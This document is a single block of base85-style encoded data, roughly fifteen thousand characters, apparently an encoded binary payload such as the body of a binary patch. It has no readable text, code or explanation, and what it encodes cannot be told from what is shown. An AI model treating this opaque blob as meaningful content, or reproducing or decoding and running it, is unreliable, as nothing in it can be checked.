z^JBb=Tv-;?c^zl9Xb@XwD)T9G%{iuTs4Ju%yq2THr&B$0KgBqvCI4gw^ANx4Gh< zCs@KU4UB538>9WzWITm4RKK6mQ)TRzc$eP~j{f{~I@HvL*=q0{JZv^yeZ8~!XEuO_ zhRON$wSDZGO`dw4j{LdSff0$EhEl#-dM3KR*@eU1(naHyn!L8mc699}Os7`&n#e%Q zb;~>AYD|04W*%`v)=a-64)zPCwR^r?*mTib7F~Qgtq_7uim@rp)qZs^ z4)#%iz53<;mTJsjO@u?eQ+9JP>wa_lwW;lhVA!U!ijktiIY7@N=`fP-YUUDhy`>=v z+d_j!>h4N&5KJ^bVjF(U`rGMLQwB_liBZ}C+4tfO6bwHOu`w>P@0>`ivM$p8Y(Dea zSxEDdRrI#pzI@O`48-@zPAbJv@~_X+AE|>lkeU7%pM4k`<2BZ*ep}w(hS@~z>h0om zF;u}R#a7w0}wdhY5|bJD2ooYpq0G# zsj`Xa`$m7xaP7T34a*Zgxhb^B{mHOea9&0+_~%;-Nd)e$y7jAT-m$#h0B^%kA|+qs&x zwKWj!?&h=U>~T)#X`9 z(!8(p8Uu;w1dC-w^)7m)HoCc7uL;Sd+mjHyajjm@j47h40i=jiZ3bBr1%aS;av;Ljt= z3@HPR%jS=2?@~0~MTTsTQh4o)8pVb5Jrz!D3#{U4wO3l;@F{iql@^b1`?iJs?_jF~ ziCE_ei+P~Z9y^Rdh^_YNHAxgKJ2At{&j3Wf7=OA`E)n*)5+7OmM8Qc7f5M4I%W_H8)hOtd%!vO%Y=6?c0cWJn%AHQ@C zYHbQ?a+x^e(XE@dD5aP4X5WbF#O>@dZfU;^p;sZyA_p+W@Ms$C_|hYYH*=j{mSYER zp>OwURFL>iyoC-p3imO@NS^esYQ?q|-=$z{R886K`?&u;cB$x356`vu;uv$qH{B7A zT4O=Vtuu4qnE=N338zCqT=&V;L}y&5w(`nL8rC;-IZ5AOd22IRcYCXFJGkorx;x3c#qT{%efQj){~NS8^lvZnD%UYp#)Gy1`;A(BrVR(9GqlhXc zhN^=XOKH|_jy0&d_pa2}J;w>TB~0;2OA4o-0Sgzd)NUb36~Ak`85R^i(F{p(TIQCX zX09NBFnNKUwIDFMQB>|$jsveMnFCTqFOsL;dx|lt_#McRFgrEW&5PysViFOLM9s@} zJz*;I=#H}pDbF%+)Rw~cunN#DjpTche=CG@e3}jMkP1A2a(lNH8zARoNi0UWZ>o9@{WxPKs@Ui%~5QV z(v1k6`}O93&em=Rwyh~ZN1_(Dtedd7&`1y7;vb6^ULvM_4!_!t$YW8S-9Ir6!a#L#e95WB|_5y z_QCXogVtVf3Kju>Dmu*!;c7?E^~PR1+J+@KdEIsr!~kKP6IN_4X+r+*2}I@3v;rgFUaVZ>;iQQ(2?bHD#Gjo7Sf8Tn%(P*4-df%#F{*)7~c5UCi zxIr=F2+d1-Eb!<+f*|~2O^;HSn+&V}`+NT%LlCXL$5zj*@Bn83G>UuORa>0eL z1o#m%G@1k)@>_gYkQ_{M>i#o6Q-ckh8Zx2vN zkZIzLv{^1L$JKnJr$I#x{RJ zae{;zZpIEtNYMkMy$azUhb|hV%)k4IWThgm;1{8BV8Wu>b*>ZBB?FpnO)Qmig7N+y z)0a3Dys?6LeHCAvem(a)p5J-7eX-}%E{QuZIIW#-i>_S>NWpBg-ME~u|D!1nS>RlwQ-)D^{A^HO zsOqom+~CPK6^rE~qajWg-2lW$giC*F*FS{i*>x<9=q`Be;j24AU{XdN{)b~zHS1l* zwmWtr*4dgqAau$x;&K^IcNZOiL$=V$vo5mpK+C)=P~PJjOmsTIRkFlFCTqpEw9-VB zPqLgQ#!fL<(TWvWxTU462R5}?+YR7{Pi>|28lur`<*Z+Vbe-!6M#0iXci8pJ^E@3~ z1|Z0(gJOzhD>RH&aTv-aU4`K>rz;Jq*u`?B)|-)mCih>)fLw|rW3Uw1i-vxU-fu1< z0`@@2r4ES9+BK)^5}GAt3=76or7rltu2<$jD*67bH!BZqMGkIcWfMQwNDAow_N0q* zDQx|A(|4z8JqrnmPApqVI|Y=Y?dkw-1uCbR53^2}6Bn3iVDLJ!myF2NbP6MJ(Fe62 zY_Ey7FR^h7&hGf_dq4o2>rNnN{4<@5^v#`!I$WNIJ#3wLdUS7+2!Raox9AXfHTl~&t z^QY>D^Nim>(#cfS#VJkP2=pm?kQy8s2)3W|Ja`!gCbK*TTTq0LqYkI`e7#R?+ZVe5w*pjrN1_cx6L z7+P6M+*1$r%&awN4q7O8a7nAD5Lm^LeZ{t|{>>i+P)4h~6-&Wa5)xUlRu)e|@QKqcU8J)9f!QwAhP&OIZMrvxwJN9HGdI(pBM7IVtJza9i9Uryrn z>+RP+f}}>dsG|^e8Hpt|sN=2*ANVZyV=YVZlA6opL77&t z{I#nN7Dou|4R+J9lf{U)73}!`P&5XoOY5?;-D}W7Q;prc5WexPiv1|aWru<4kQd)nr+W06<#FaH>1Vu^7HKS zY&A87TCi!O&ABlCpGV`zzt(s5_%DGTc=F}fD)jkB>+nNS4c|qZaiB%WqLP;D;^;Ms z;~r~Tl9<^EW9J-hDPm21mozIJsthyAfESKbOUEX=GP`@1s#_+G2Joc_1@%df5e2A1 zHt=X~m1s8^J;ppQ!J@TCafind;zpJ7_kbhlL4=>?Y^#RPEm=r1cs!KZD)+dR9LWi_ z0RkSsgmnVpenV0%Qt#8tRn_J7lL-K z3iNY*29GTG64?71?2ePPN-cGX5f2BYS%fZW1@bSfW^k+;RKCF_^oCqRq020E0t;e_ zzDqnHz zfNjHNN}cm-lI%wXCZYw?X(33gjR@i>$@(BbidTKLVzf-pKV3#|z9i zug@&{%0e@>2Tcjfrq@-g{nP(?W~XNUeEt~+JF_ui>b6lkQLI%@E^ubxMQ-A!jgmFL zU)49N>R3N9!pP8uds7M(mFG6dHz`hx`NCQQ!}o*?c3aG^!2qtfx1?I}+;?S@d^}s4 zmk1@A;;(yAFoa&sihooG!KuWhLdPE%QhG}~uUrMa<KES#?D0G9YEgb;$eTR<-l!p+DME@G&rpzRCrUS^^DKwM#UM)0h6}b{K zkFSZ}%)h3!E_gWXg8T6uNExOdP3Z^kryV@`_pK&K{cE$i8%L)0Md=oK$($sk)>2KZQM^PU>_TJb&SrClCTYGJg#J6*&#DHE*AENZl)GrBeSuw5b8M;o0Y&~k?HR^4 z>d_u?iac0&(7XYIH9fr9jFa)BvT(1z`rUFm?P1D5@j#a>m5YSoHbc%B8VmB~r1l<0 z+pstr=NCNBwD!c_YCAo&FHI)lclogh2ze*x{%}79W(m|%eCL!!N&~TMojX8|M#!YM zy1hu^Qph3ogZ^9*1tg^+&CG5bL1gMov+>}ZxWsE#gB{In^q=f%>g3UysSJ?;*l&B( zHa9#E-Q~|A2{HoC3WKNxhi_CBvF5Hq7nryjW8 z5c=%#dg9g}3sjja%gHd?7M}CX{;?oMl4Tz>F4_TmoQ|b6o_1Rg%D#)D5_z?Y zI}yorqjFDeRA8am85ubBo>&=1f{Y4w{+N9Ef1Ii1W1JJXOO)Ls6;($SCLz%N*DP_J zl}dgS8}viIC`aQDOLq5extLGC4v(BPc&zykpD=jm;|~Dg{Hc4AnC$%=HZjY84wXx^ zIYVT4`3yNv*0^|4?W&chi6UVOav4QELj7;6z+A_Iz&o9!meO20pH<0_0?QVTBo4!y z00V5E%*W4}+eyU3=r)1}%-GVLw8F%XU7INCm-zWhuHcXs7s)~f8klvtYzy{(Wy+nv zgJ}Nr!`6c1&w$7H7lmSn1XbG}F`wwu`0dFD&&n&-WhhpC91KoAy&eVGj=|u~WHT8# zsbz>D{Iy{lIDv|@E~g}SB{G6wpz&z*5PoV$YBe~jYVr&w(MTOXrE4rkMu+W+6@sl( z!NC$aTqu{YMH#eaLu*I9kTP&U386c~{O^<2Erv)%In}Q#xTd9EdHZ-{q+*)ha^HCf zNn9?7J+I{fakS6UtDOA*TP9oiYX-Z?1~f$2;+^gpMjl9csJ=hdK;Bw%z_F`LXTQYn zD3@7%yqrjn%gt!QyGA;L`w%bg8mMN~HYR*D*skbq@|`STi?8nP*Vo)fq&K48=Ii`O z_5(U7r;_FPDbC2rwBUvNAK-WfQO#t73rBot-P+Eo860!hH%qz}gP3;=p>;ZgiOKVd zuA!tF0`DgC)k%~e;;CyrgQjO$7c4TNmddahJBPkmOS)p>W6`L;{jRd_3+7iZK~`gR z_9u5Upz>*qz+|CbA)_XP(fw;o8Ny%*>BgxHWKkP2!CR(Q&t8MW;EiI;#_GhIo1sh3 z&_$M^e)Qn^;VC(o`Dzc=#~`!z5K;q2Y*B!@o4z#{e_sMVoj^yPA``4;&EDepLd^z(Cbe zieRArqQ*#6!z{o5J#xU>rgX{y$&%KjF$mr@v-B*Ef3?0|KHe=65Dun1Dg=-6xe&Zp zlj6+bv>_mmF_6x0$Edv_j^*vY^$rdN*pjFT0vOi3e(Ovj51ttX$Kp>Kc8g)es7FPR~ZDbYU7rKv?!`r_W8+?q14t zm|F;24zJbiXpR?Gr?8QvZOTxIWy$GEdKhto(T*<;lwwy?Md?1k7(o#7CB+ z6VX!lGy8Xb_EMU4N0sy#ES7oi8YtY_vIMdHSIgRy0`IZvr* zLKN0kX3?sA@4&f+(|=3gyfq%_dQObAB;2%sa)1}v9Zt*w&eLDC-@zETkG{_JSFY?O#tmEQm_^KZ^qw7)C8~I5IkN1s6B(G#I(cD7(IJ2s%9u z5g%sT*ZWIxk7^BvvN=l|i^V@}#+DG{xz31r-_>NnU)&;Abh|mZFsoSTBvd*{h1vg` za%PKku$5TAU)EpOe9ToXAP<{y_w`Jihg))<^CkZ(VfWea%N;d{`Q|t6(VN*~t{cQt zkpfd zlf~Wj#6kuhv$4uQsI8L&SlA5t%Z_cGJ1lX*33v`7gk%ihW5zh<@zHhl;}H>F+FI3^ zc^-}KFa$g6a#YBrz)-*aiF?|)tr6KRY1-MDJA{m@g9?>Iu1DR>IxgFt-qxi)HfB;x zFP*9o0C;<{=O`J8EwnFKEM*32$Y8#5Ed5stMp!&MiPAwzbyN{6j+3m{sR;mhwwO)S z2F=&g8@9ZdQ)gMikK&a$mB_3ZXGFv^IoYwv#3A${QbfDOqq%vFz*>9)@fbGO%lkD0 z?bcLjok=zruymvQ3k=!G=(l4?!Gl2q%#OHiEiCrL#6!nYZW2;>JuUxg6kXos43Xg( zEH>RsGE>hmQH|Joy0(9(F`^`xs2v6BvK*0ZYvGIFDY36!Zlj1QCeu)E!SB~_Vl^yo z(xG(<=UhNr++5or0E`9y&9g85ox325#Q!PB5B1#)$`bi1LEMjoDoA0$k(aoJkw#7IpSxxg?X`bbGCk- z#;0J0?&ei5bL!9P#oy}%xwxSvKDK0liLUA-uA}I@!`2WpnB111$f4Ox2}bzat3(mt zm%lrNs0;i3AVdsUjg=N;^PaX{2tNqOLgZXYdq14MZTFCY z^a@!W;dmasDEJXYkdx>l4xMM1%C+)av5cG{_$^C)`h`bh#jIzmevS4;NNN#jfv45Q z`&Frp-dpd%+R2kQ611&umeQclF1`^d+S_SsWBW3oihZdIji>m4>;C!n-oBX!Xw?+N zD&6*E+hHeZel|tPU#AT|Vpha>c{Qde^?8;aQuwLX`GD_JU#pj}hNGz~pB{cLIuFiD z-9qEHl3WyrNC%x$@*Dq%6+Ttnld~fL=+94QB}IbZtiqpD?o8E?*Q?5gwrEND^-~;j zoVG31kf*~~L!JhEpC7wM_(=})vZ*Pg(Y$PfR5IFU^sk7BQ z4&>;2;A4?Wd=Eb;gBCeHp~y z649E9vp|xf%qnS3IPe3my%+knruUfRtqFeSJ$n&rHAM$d@!1&T zKmMYihuG(CgPf_}m1!iOen0t0ugKd^#8SUrUY>ea>*X-aKU;@E_QY1fSjNrUzC+s` zx^9}l@2o~CG3+eXtHQk04BCkCify4dpmaZh0s4*T3-wpspvm3c;_FZ^P>%hHv+azi ztGuX-RCxD*xrSOZzv$3M39SfLwfzrk=D`ApR5Pfd)Ihxie76Z*i>w4T-U|9GcBn9_M#; z=QUF*&QezKuIEH4uFmd#b1PbuCT^E@Cdb{lXrDrAzyoagjy?YM@Yr3~ok=GRw3{1% zr9-dZ-0Yu!{_FWOgB7yUmIi0+9Ketzi?wC-u?zKp6IDiJ6lUYadU|(n_@->3vK5Ph z*(6T+{ndDiL>;q8J*-TMj>-tFyfm#+#oAYTpPoUiZ4p_v{huMuD%1~xde#zf*!1~Q zZvnhqADw3D=8lScspUCE+#PP1If;5fRHN&CR-MrrGSw7_?+v-yU&fb9L=*=X+(k6{h z-m65UCU6foV8&D(;O+dYg{yVVepdJTe5uT@|q4sko zCDBaF`PCYcwsD+lG($VNb&iwaI`QJhaS+eP=hO?9s|jP)(M-9YJ;(U5&GGm|cODz+ zOB-d5(y8D&1wF8sKJ^v9|1kmh1_F0|HJ{*6InC*sbd40e;g%w|Ravu?&ps}@z2=&s zKGb_Z8ij5`k6k%ou61OwNU8;nnZ6cnos2N0X#xjbJc2#Sz|;>{-Dz%D&k??6A8 z-|SRYxzvt94o1a>Y5#TVCyMy7Z9z+i>e*d(3jdKffa2(QHUE6gBo`h!JpusjrAt9- zNgMRuSm)MjMmN2qeW=!4li9~~8UvAa=>_8yDL2B`N7af+e4@o{Jd{juUS08{uthfk zI3&JA<72|7nu`dqf@3Cee$-&d{JMRny+m-#L3=f>O8vXJ}|<9%aCuG@<&V7u{6+v zr#>BVz16*cb~iSmf!HffN6877-y%)F_dC^fyaU}xiPB384d_?I?&}oxRYC}d7Uy3I zJD0L=mts$$EH4}V&Bm*49}ZnMg6T+$2xo+} z*SIZ7B_P>~y5}m`R5udc%idK(uF?O3*#LnE89s)Mq&Zp(Ap?pcrAqsAMpPm^P3Sj= zL}00GmAeb>_r_GpvEG+Hoe}aHiPXm3Hh+ULGuA7iq?b&|J46d-BcGEc2||u>H~)vx zCetUXvMf%0(3dl!2z8{-R)N70EoeSmImlPNxh>@`ePXi%>tsEMS1d)HODRRp%&oAj z5LC^#I5shS;8(VSiv_x*JMR25{o~HZf677*e@VK4^R@9mZHF$ctJgr>t%2dz>lKmo zeO2jjxwg{kbx>+;JGlYmK8n87A*xg~DAYK*(r>7RIuYDK+!_qXjN#_!7dy0hKgBwT z()$evq0w@CKx6vMVS4YS7gwBxowu?uEN{aQ=QGgIG#eoX3iDk6q#`2G0yuwSgC*ri zd%CKsYX-ymHS5dPCvBd4!88|wv>_j7{dpVulO`unQmCd5n z>e1%cWW!4%M`-zcO~>=_-9lY@jo^&Pm$2_%>)fgQM=ibs6MkJ>=N(CQfmEt zF>@Ob4ZA#LStimEC ztJu2)6B6()Tq|(xu*Ytou$@>|&7g4VuPGXQACNwLQ4lxJtxtC|r;N`~iXa}PIN9Q& z!QfEj)Zo}a&m4O{nDMqw=bgmr^7rTh=0j;pqLY$%x=XUY1U*|M0lOwdRTTLmev}9m zaemk*i6!EfD>$<=IQcS8?imW3#8@-{fOrcJy20XOQlhZt3L|l)EzJmI*~PHnMLN?8 zl3p#{PKsQV$kL_gX=nxO$>s2I0kCIzuvTjX6XcVXU?7^90}*-SEGzm z;{Yhm%H7GKC}JM#6R!pvK|Y zK}^U_#!py{1F>U+{~&!@{x!L#re#yvbc4UAf!(5TV75;|E)8&Rg2a;yUM}tNGbneg5?*5PS6+E^3Jth{os}2<7R;1 zK8{JRo3N3c-^Ekp?NG~NPSm(XyIz$rDj;ztD zm63jzvWuVd(nD7fj4@eFuK}=@HJ;Oc?0A$`oTE$B=GgO`&`p|<-hO3t-8sdz zU*_tkHo@Wsd8L2GQxg~pJELR=BRqu@z`v1Jgi~2%Dg7?G(PA!vdwbAgI2O+@K>e^P zA8wA0pIeyVVbk%|0)_07u88{c<6&Bc!<2?2=_Swyk4m#(o&?=2eBtPGgq&z-O6%9EKQ z+oG?+dE(naU%h1TEJPix5KERaj64}od7Mt}Ap}+<3j&C!rK&e~j~315>n9HQXO`xv zQ%H8PM+ipd+PGSodV4cj20-N|ZCjvpsK~q;B#fL9I=&Szy^e8Pd2k$ngyNNerP4cB zDMn|dyI}2hk&S_cgBCyLPC zw-RJtAPD>%b@v$bTajiynYg%8(^?lHQYY){`HiE6b?i zno4OTgjA&IRIN0)*1B(A)VpsMGxs7p^57kiH`Bc++7i`V&K~B|neZK=?YUiL_T&F& z?p?c^$dYaC{zYdXV{`e~1)|DOfR9c0uJeA;5VnlfNS0fYZP>s5eP+bEW#*EU5>$8f z=-#^uY$d|9(+P_otrpAm<uDfBZnEiL+VUt=RWdQFVk@S%%21Gq?@J z4V=T@1P**a9^By*i6Ugll}gv3cO6ATo+CR(RqK5}!IGy`QQ5hLE|uj+ z5oMhXqlAVZo{fIJr_DF}{teGnadRHGDYy3~&EdI^Kayh=kmO!+mIE8el#%m1A5ptQP_$IfhFt$li*=b_o-yk4sr2@ zGvhS2ccY89(UcHl&rv)4tU&Iw%uDgr9AjPPnl6Ics^k|TR4=C<3| z)A!I(mbsS_$K447s+-;jUReA71WPAZhCZ`lAZ!*Frx1jn-T;a;%`nnsim^JBAT;qrC3bc*sQi4D&ogJe3!4o>SHBFNo%+7iv z@+!m@^x#zltoBA$zJ#i^2<~_v;`+W47QW%!a6D>DG?ct%v#Q9{XftP*vr7Y%BqJ=l zuQ8C}shc9I4(97N$qpC(@f9Ls+yVS!X`VYBg2W`XDHxHK{lgM=Pbd&aYZa~W!G}H8 z^{Br1)a&Le?@M1F9MPpJkO5}$CYi{Tvl0_Ai@)ILlX=2#RUd6a?r~u0|KitI%Zx>*i_$93hQsr!TWbZ@* z#7Mc8krtS?a<5RX=)Lg|jUUIMYfMVuc10Sf)eZy<3wN#Ge)54@uNe?T@x&qXt`Z;` zl?5X{P|KGHlaZjTaW@3rWM3P}L#+UTg2=h1hQA-Lz8ZT)C5!y~VIC+?7_sjCo>1n} z)m%>BY8b8>E98P%CCYR}>EA}iy*PdQ$LbE+1reM;dk~$*UoQPuE8|tT8SRTu*uh;@MMtvCkwdB*#dfn=Jb%m#L1}U7 z@0#Y$4OQ{2Tci|DRxD}yqXUvGjBDZ z@Sxq^8eXZ*$HB0KvlSeZ4oa{G-hSZ?1*t`^^3Ymc=J96Na^zac_2yiEx=iybOk3ae zq27ED$wGvB*(`c`|@MgbR;@K4gRO_89LP7j!V3Gv}-h9*#> zd~QQrMxWPosMOC0L3E`*`R!}S6wRSyTc@dd@&wZ+l;ae$3}%Zj+&t^g_P-CqIJU6V zk|d+g%r@)QRMeALMzc20?5Qo%c}Gp@JoOg&%$?8QMLWfn1aj~Jhq8aKev+t<)!XQG ziws<6ubP3^4rTGwKYK!fn(tnW*nKxMgQGt_o`;#qgJS*vop+g3He8J)Pc*{p)ocoBaEpH8JNqD=ymG`|ML|(sF7TK8+8<)M zC?)QGY4dT}7&)cm66DAog5!Bxt6BK~ry6el&PyUm+=%-UY-QJv@n;k`A~kL_9t}?C zb0S*Q`)|jeXNbUEpZ>90vR(WbGlrlrJWlge6aC038S3!FWT-$P35;9_SAmiJ_nfb1 z3*;MG`RBo>yqbZoVmdCq6j9Zkf#8~p6y;I$0G;~tw$Y-9SQHd`#A{Jb)!;7g%kQGVK!E^!&ki$!et*sdSVp5^`pD_vw|f*dx33`81PB zch~Rf$>Cvs2FT4xx)>@-<(Qo^8(jbXoBrL3MjS+)v%$&LRKpH5zsyDqs?_;mbn$;< zbiR+T-Up~C5|X?>p6Xu66L*;3Klp*@Uv6M>)k| zD=X~=k4~r4{iXnMw*$elgPtb4=z&@h9Bw=ndz)bnz!Y0}3h8?4HGq)C5;RGB#g!41 z0G%}&o?E?#7>w6G7)8VEDEE*oap;4_;_2DkD`cLJ=G!3F@TNk~ma{+DufRii{y zhGG?B3!-G3+=8F|;l=yVB@mdhuLAaG(I3jQPmk1n%1Z{1z0Y0P7ozw3z~1Z$(Wl!G z!|$5sdwC~JSuB#_zm&5+Jb7+-hA`?Nw4?Kt8q}jCO={QU{Ko}7$OT|})cka8eRmcU zG4p27F}4BE)_|A$+b^n~!oQnMZ(&oCnM?MwM|CzmX=0=ojDq9QKj9`c2?f|e+u$uR zbtFOXJBm#xL%od-=Gbx=!Ke_MAmbje^F=r(; z<_(?@$FCPCO%sX*rNQn~W!i0i@d$PmniV9qWoHw1H6~sD!ugARjM(jXxkTccLx+K4 zkX;A^HrkQCiLhbU@`qgffPEWw9eAB(hxOnj_Sd9M;5Jqvj*5{aobYFkry(v%A2WAY zV5uyl+hZ1TOtB9r8JdizvSIE~qn4OUi6p-!lPA0A-LfIt-`y=6J9`cQD5z1X0?(zx zC&eN{q+2E|x35AGc1!p`j8+XXzbcN$ZQr+yyXnOYM!4Tc3DNlJ{<-chv)SKq9oRP3G1j#s9jy$Hw;@)kn0QY(o~`ab1K4|5 z#%VQhurmuWzqG!-`qH)M^4x!uq6f8imXmG}18DeXq6hIF`Ja?h{bX)D{SMG>RQjcMh1po3>BKVMU^Wylpxw0 z{R*rYl#4Guz1H@t7yR_KHPe>8?9UQgyU+<~2fAhSPl07bHWBMLc+)Zg;MM9}n8bw3 z(Yl2=F_tdBqM}}-b+$LThKwlETp8pJ8dGWuW5Uz?Oql=$-m%fuR9He*iJJ=ZitT*M(M>tVNRRm3y~;$bnp;zY;t7fn2&`lZoB;<-jC|36(pG*11=#NB+~ zow(uGxOPoruoECn!w2GEAvmXFq2UUJIs>LbK$F%T%{yirFs9?HhcU&MojLuXokI|w zp~Wh>UmraS&0B7@ljz2Xc?$M83RN=jYMoqCD%kmKShINX65ddt4c#^_Y$4f*{WqYm zxk6BtC#c!W%%J3aLC=2#FFrjF;NrH5BgUniKPpMiQ)_H(<}e)OgN}vjo!M3>v#0(k z)7kBt?}eDv;On><1^+m!p00WH>thw9V^`S^r?6CWG5ri-_IJ+j&--s=76VT!)VBWA&^Cgj&qZLnY+e`llNh4=sZtu!~C<9WGui@uJ_U~ zG&yava%8>e4>JwSRXTRBZq2-14nMPZBGKMlLI55@fe@Z;vOyaU z>fou3H8k0g(c*f@P(^Gyyvmkbh!**jJ#ewA;*hsb`lr%f;=&w&{p2dbv8%XDk6lhKA^CLZ zn~Ti`a5!5Pm8z!bHJ5;}El#2LcGYyyYz{qfvU^xw$MMJ>-q12qpTO;-hMWT#i`O}2 zJMQ3G7wb8M432Fl0xM2QZ>TGJFdlk?l>{7{V%mKKeWD7o@7JS`01b3?iC@piB%^R zBiZySgvHfwff!`&_T%+Ly53a65w*-{3$&$SX`%R*VpX={6}RL4c+Ehv9et$=%PchG z6kqb*5$^gA5YZKlxKaFp7Caq0KVBmFuq9cT?Xum!d?@r-Os_k(ftuT}#xT83HtGke zUBN9{zl6I(LpF6LWxlzuam@Gq`uc^_(ip@v!2Cd0TmW5vNkLNmr(aK1Qj@hpnB|&i zM%Fp?exhEfUYmFtu#6$<)cszqQ+iAUpA~hz9>U|*v@1FOJbfVd9hHtNh5#E=%8L2% zyo1gE`wYK1x|zxjQv?zR)*d=}R&B(V+;t0tX{G4ngA&%@4>!Ki#`vQhpz=Dj!u@R& zREmCqswT}l1?#+6y77NOxj&%6u(22GyV+*6h}YN2P$Lqf8FsTLWFdfR|jBd(sescZ!``XxJXyOQRC(I4V*BlZ+hr1RDT&do*fsFO50 z1r5R71Q7x&bqryH4XlULzGZ{pmRQeZNXxP$(^n#15z|f47*Tak#WJ zFSq48UJdV6s)L4EUnn%WUtw{Z2)6bjcIZB~8gyT>5n)VdZql_XLUFkJMq+sGkI7OW zEZM*zvIp2&^f0O>RyH!P@Ni6!Q{No zxD_k9IzE@O&ES4t^x@jxD<@Ep7N&yryT>ekm3i>Uy$xj=WdpA+tY{U^iK;dc+z#1# zAT!Yz8_7)a5mg=hit|XLMg)>Z>~2vnr5$jY4kv62V+<7l)$sB?;^j6*!hgGF8ETMB zJTE2VXYh1=v$$W;wy*-Ux^rObpAB}tzi}du9F&`+ILBjh1^$ic0d(r{BQ`yNpRmwD z8tx6UXyLF4w)WE`3LJQjTa0kzXqsnwpr>k=G+QOe5bOsCji2wunenf+a;1IiD+Pg? zv6A9HDt&KtJ78t zafjW|JYPKqW+j)AzN`Gyrctk0Er;9^1(EVcm3@X}iatWC)SZCNE~J8VIuZ2>>kT1l-q3)JQ-nofTPb9C^lAYA1} zSb;ahxtU6_pJ9pQKVokFTfPDR4AxK(&(4iaLG==%Q?q)h6F9o1ekoRCt5MwwhmMz+ znL51Shu`)>h^V6l-pg}#T^bxvmWLoBaZNTLN2_5J7~)e3%&3qWT9FI}sUcpWQ{;_K zo~U7X=P_GpkU`FV0p<8QS?`BoTJ}62f1QlT&}kvM6f(+pSpmB87<9A~vN)E`aU{nU z5lO8xVxgu|O`Morgs(cz!Id1YH5tu?<()&AD4}Ro#m^$n#yV|q02MD7J*;RKVVyaQ zjeK9-k79?oRxR1gjp7zy7nVhAGd~O$mFb)pRIts;CBS1F4r62>^64<&c5%NZ$WIuh z+8P^(Ca@+pU3F>fbbp`{4Q3`2Oy`rN3qpa%4nZLVh|P(5PimBFjT`2ibkbT2UrpCT zzfj3#Wg-s~Ho{_T?y!GAmNMnsFn>zWaVXx6*Xv7AEsL zc!H4X7}qzM(Ic@r4%Ju{!dHtf_HxumxIqALE=z<}L6w-uy$4u_9R& z!R$B*rm1#MbZA1JzyxCGhWk@lQNE4+&RAVq%%_A@Er(Q#qP=s&@j3H4UBjyZpBl+nrKcn1K-si8;V$%&mhPlr@v=x{dp!%;ImeVs|e_h;y#Li`pKX4HqcZ z$Re1rpO4N9-r=lQHYs&tU#yn!gi#3F3XK>^%wl$VBLr=#{L4K#PJjs z$g&QKjE_?RR8A$u)=K+WslyCR)M8aGv?1c}A}IRVQO@#<$K9TFzQu{QFaUnHPuL5O zA~qu*Lpn6o=U~J+g${3*0MbSeyl?CfkQD;V;DODUoum^V8a$IhOJb+{ooU0BWB&q{ z{+AO5zcWRan9Bpnow4Mn=xrP9=NUGN&md-~jFX({@La4X{}%Mh$?8s}j;FAdOm2=P z8l(^NA{q7;cViM1A<_r8&Kz~2V_tt2tS1JfS-*X;LOk6S^AcM~C#azl%3IkkHG6RL z77q$HT6LzThdRbUd7MxeH#hwW!pUzLf|CX&u^+!;R_vve!Y z3t;32wsfovn>GE)C6i$U^9s?c`%2jqKnB8=x>nD({> zsM$sGl8>GsS)rhjc$!X<83KjNWQco8B(&qSeFL-~XS-;kJJ%!@uG1b>M(erd!!g&P z(@gF>m{+(=|30fmFxX-5^u0bAgQ z{ve&Rp0*&>?QAm1)g(G13zr~8I9W@;Sct}3DMsb2Ioxu>XjqW2=!DC7IO>=1sXw7V zvDIUups$Bis@gRzKM4<*UayieW*}obz?ti;SlCi%kkmJTLy4kN#2i}O!>pW<+&u3r z!A3=3%>st#DfWlPiMpB0?qC$Fm%26@Wltfl;%H<`6oR#lr^AA^nz@q@k)aQMzSFie zkMqXQ#fb8rUA2tIOt{eaDYEQ__*4Na7k8+EFSh|^UA|5#K0BW=G}d9t2>r!WD75BV zicdY!7_UL{@9hmy$-}N-|HcB z@c|lX5;L;P{ts8zaKq;}k@nQ<^8kLR2GZa~TKQV#dZ|Nd659MJdcI!VgG>B2UfrZ|kw4)K zq?&A}s@ySY)-e%UCN{caP^z{o-gU_ii}^|1tX*M3!n3M}^2&5#mkC8MstJ ze=S05r$S~8Rlmt8YCt6_(w|88j_Nx}GL+R6N2H=?t?m)xQUh*7u$k=fi}D*nnqN6K z9t&WVKZb0D?lO7C$?^>nAIFjt;HC$`*4* zwxF^5ol>kZ%RY(uKGV4M?O=d{6$@A_n}R7#M_nw*>*`tBMyM<5M=;KAPg*W-`puUw zTQbu~j#jy_d#&KI;?Ddg3{^cWl6we1SXWUstq?2%3MaLV(D-E;#%Y*as-n?@8_v;M z@}kni$$T$0_}EAADD}?pXlqh7#ux413pO0u zToa(Hduw%kz_9yWrR*~4zOQ-y<#Zm!6R zdZsR|q=av)`Q*Sw$Ud1nR)FMN2LGK*1V1M0Q=%{~>K%P&L!5SPV?T@{!jXuLfAD?~ zUT|k%wsP~@Y_{QUC|AZQjNDd>=Gi9WRI4Y4AEI7-GnR*8E?7xHZx6ccWN3w-Y}CyC zb!#QAhR2qTtF~@bjNfor8*TQe$7gAR$ia)N`y~WWGnfV0 zD$9i>Do!ktD7lQl-#!jx-%bT#W_l`ETllyG22JVww$szv!sWuihh2DlO+3DVwzpuH zCkCi)LasI+%mC6T$OvaNL@?F}7Y$J%->Z+Ra#t(g!IJui;u<3*^pM*VqbK!KTDhiQ zD@#Go*I}>S3&oyYE(yXr@bxWaDkqQ#`HQ>7oz>oKv2^G+ zivk`POZ^00z|&9ffv~<1cTAR_-oKhHZYK#_0kUkogO1?lI`zibqhgL?K4p?_Pcr@w z^#9z)4)aw%t;mqEuNpb`u;jc#O{oNEaRT9i06A zay@;RuD`#!nZSTw4xV#y|7Uu8wRk*RQg>LczXu!>p6Y&G5g`U_vrQ71&l&1azu2Oa)tZpBVLtm46_Rm~0}MBP zc&rf;!5;`s9z(wzFGXf+q)abiMb7V#6xe})46Q0Q`E~~-ZY4&RsPE=gJUaTpisI!E zaU~o2K<4@4xApo?o^5dS>*RJqcsMy5uW#ZpnGTPai$$d69ab-jB+`tWl=r0RIX2&r zxY)Mop#Y!_ZgTeJl}pr(px)#o`o~G}X%(il$N|cg#ta}vy8*~W4yF;E{N*Nv3{2hW@)6jTpaFFVgIc*A9f}r&j9L*(gdyhNJ8ej;byi^sknev^+&`hezn-RRaR0xRzjqfQnA zvg!I89Lo{ol!AsiGeUTXM7S&bXA2xrA{?UFT;AO8*b}ZXaOxXiF`^NgDJ*DT=>8N7 z)<^h$Wz=xhOX8TGeHTOrZhkKsATdXQR3F&#w5dc9(1{eU_eqH21=%))fgFR2wV|{h zsfd&Uqr}zM2}+U<&4L>FK`qaI^B7eOX$XxoWqRAw9j_k8cU0&+{^N=yO2?k(M8Y-k 